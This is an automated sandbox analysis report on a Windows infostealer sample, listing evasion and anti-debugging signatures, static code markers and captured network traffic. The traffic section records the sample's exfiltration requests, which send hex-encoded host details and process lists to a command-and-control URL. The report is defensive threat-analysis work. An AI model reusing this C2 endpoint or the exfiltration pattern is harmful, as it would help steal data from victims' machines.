Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
u57m8aCdwb.exe

Overview

General Information

Sample name:u57m8aCdwb.exe
renamed because original name is a hash value
Original sample name:0e6e12f9a9c017b4be17933aeacd543c.exe
Analysis ID:1578886
MD5:0e6e12f9a9c017b4be17933aeacd543c
SHA1:4c8fda6bdcbb813081a6d72bd6ad3ff430e17bee
SHA256:738cdc197a8ece363679b55f005dccd3a943e4b333d69e946f80ff6c0445cd87
Tags:exeuser-abuse_ch
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Detected unpacking (changes PE section rights)
Multi AV Scanner detection for submitted file
AI detected suspicious sample
Hides threads from debuggers
Infostealer behavior detected
Leaks process information
Machine Learning detection for sample
PE file contains section with special chars
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
AV process strings found (often used to terminate AV products)
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality to create an SMB header
Detected potential crypto function
Entry point lies outside standard sections
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • u57m8aCdwb.exe (PID: 1892 cmdline: "C:\Users\user\Desktop\u57m8aCdwb.exe" MD5: 0E6E12F9A9C017B4BE17933AEACD543C)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus / Scanner detection for submitted sample
Source: u57m8aCdwb.exeAvira: detected
Multi AV Scanner detection for submitted file
Source: u57m8aCdwb.exeReversingLabs: Detection: 47%
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: u57m8aCdwb.exeJoe Sandbox ML: detected
Source: u57m8aCdwb.exeBinary or memory string: -----BEGIN PUBLIC KEY-----
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: mov dword ptr [ebp+04h], 424D53FFh0_2_0056A5B0
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: mov dword ptr [ebx+04h], 424D53FFh0_2_0056A7F0
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: mov dword ptr [edi+04h], 424D53FFh0_2_0056A7F0
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: mov dword ptr [esi+04h], 424D53FFh0_2_0056A7F0
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: mov dword ptr [edi+04h], 424D53FFh0_2_0056A7F0
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: mov dword ptr [esi+04h], 424D53FFh0_2_0056A7F0
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: mov dword ptr [ebx+04h], 424D53FFh0_2_0056A7F0
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: mov dword ptr [ebx+04h], 424D53FFh0_2_0056B560
Source: u57m8aCdwb.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_0050255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_0050255D
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005029FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,0_2_005029FF
Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global trafficHTTP traffic detected: POST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1Host: home.twentytk20ht.topAccept: */*Content-Type: application/jsonContent-Length: 559528Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 37 30 37 35 38 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global trafficHTTP traffic detected: POST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1Host: home.twentytk20ht.topAccept: */*Content-Type: application/jsonContent-Length: 559528Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 37 30 37 35 38 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global trafficHTTP traffic detected: POST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1Host: home.twentytk20ht.topAccept: */*Content-Type: application/jsonContent-Length: 143Data Raw: 7b 20 22 69 64 31 22 3a 20 22 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 5c 2f 68 31 3e 5c 6e 4e 6f 20 73 65 72 76 65 72 20 69 73 20 61 76 61 69 6c 61 62 6c 65 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 69 73 20 72 65 71 75 65 73 74 2e 5c 6e 3c 5c 2f 62 6f 64 79 3e 3c 5c 2f 68 74 6d 6c 3e 5c 6e 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 31 22 20 7d Data Ascii: { "id1": "<html><body><h1>503 Service Unavailable<\/h1>\nNo server is available to handle this request.\n<\/body><\/html>\n", "data": "Done1" }
Source: Joe Sandbox ViewIP Address: 98.85.100.80 98.85.100.80
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005CA8C0 recvfrom,0_2_005CA8C0
Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global trafficDNS traffic detected: DNS query: httpbin.org
Source: global trafficDNS traffic detected: DNS query: home.twentytk20ht.top
Source: unknownHTTP traffic detected: POST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1Host: home.twentytk20ht.topAccept: */*Content-Type: application/jsonContent-Length: 559528Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 37 30 37 35 38 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: u57m8aCdwb.exe, 00000000.00000003.2229720908.0000000007570000.00000004.00001000.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://.css
Source: u57m8aCdwb.exe, 00000000.00000003.2229720908.0000000007570000.00000004.00001000.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://.jpg
Source: u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFoj850
Source: u57m8aCdwb.exe, 00000000.00000002.2644502123.00000000019B9000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2642615492.00000000019B7000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, u57m8aCdwb.exe, 00000000.00000003.2642594319.00000000019B2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850
Source: u57m8aCdwb.exe, 00000000.00000002.2644502123.00000000019B9000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2642615492.00000000019B7000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2642594319.00000000019B2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm17345798505a1
Source: u57m8aCdwb.exe, 00000000.00000002.2644502123.00000000019B9000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2642615492.00000000019B7000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2642594319.00000000019B2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850::3
Source: u57m8aCdwb.exe, u57m8aCdwb.exe, 00000000.00000003.2642240904.0000000001A31000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2644842033.0000000001A32000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2641805041.0000000001A15000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2641842624.0000000001A21000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2641368000.0000000001A13000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850?argument=
Source: u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850http://home.twentytk20ht.top/TQIuuaqjNpwY
Source: u57m8aCdwb.exe, 00000000.00000003.2229720908.0000000007570000.00000004.00001000.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://html4/loose.dtd
Source: u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://curl.se/docs/alt-svc.html
Source: u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://curl.se/docs/hsts.html
Source: u57m8aCdwb.exeString found in binary or memory: https://curl.se/docs/hsts.html#
Source: u57m8aCdwb.exe, u57m8aCdwb.exe, 00000000.00000003.2229720908.0000000007570000.00000004.00001000.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://curl.se/docs/http-cookies.html
Source: u57m8aCdwb.exe, 00000000.00000003.2229720908.0000000007570000.00000004.00001000.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://httpbin.org/ip
Source: u57m8aCdwb.exe, 00000000.00000003.2229720908.0000000007570000.00000004.00001000.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://httpbin.org/ipbefore
Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49714

System Summary

barindex
PE file contains section with special chars
Source: u57m8aCdwb.exeStatic PE information: section name:
Source: u57m8aCdwb.exeStatic PE information: section name: .idata
Source: u57m8aCdwb.exeStatic PE information: section name:
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005105B00_2_005105B0
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_00516FA00_2_00516FA0
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_0053F1000_2_0053F100
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005CB1800_2_005CB180
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_0088E0300_2_0088E030
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005D00E00_2_005D00E0
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005662100_2_00566210
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005CC3200_2_005CC320
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005D04200_2_005D0420
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_008544100_2_00854410
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_0050E6200_2_0050E620
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_008847800_2_00884780
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005CC7700_2_005CC770
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_0056A7F00_2_0056A7F0
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_008667300_2_00866730
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005149400_2_00514940
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_0050A9600_2_0050A960
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005BC9000_2_005BC900
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_006D6AC00_2_006D6AC0
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_007BAAC00_2_007BAAC0
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_00694B600_2_00694B60
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_007BAB2C0_2_007BAB2C
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_00878BF00_2_00878BF0
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_0050CBB00_2_0050CBB0
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_0088CC700_2_0088CC70
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_0087CD800_2_0087CD80
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_00884D400_2_00884D40
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_006C0D800_2_006C0D80
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_0081AE300_2_0081AE30
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_00852F900_2_00852F90
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_00524F700_2_00524F70
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005CEF900_2_005CEF90
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005C8F900_2_005C8F90
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005110E60_2_005110E6
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_0086D4300_2_0086D430
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_008735B00_2_008735B0
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_008917800_2_00891780
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005B98800_2_005B9880
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: String function: 005075A0 appears 568 times
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: String function: 005073F0 appears 99 times
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: String function: 00544FD0 appears 211 times
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: String function: 006B7220 appears 89 times
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: String function: 00544F40 appears 277 times
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: String function: 00545340 appears 39 times
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: String function: 005E44A0 appears 58 times
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: String function: 0050CAA0 appears 62 times
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: String function: 005071E0 appears 43 times
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: String function: 0051CD40 appears 64 times
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: String function: 005450A0 appears 82 times
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: String function: 0051CCD0 appears 53 times
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: String function: 006DCBC0 appears 73 times
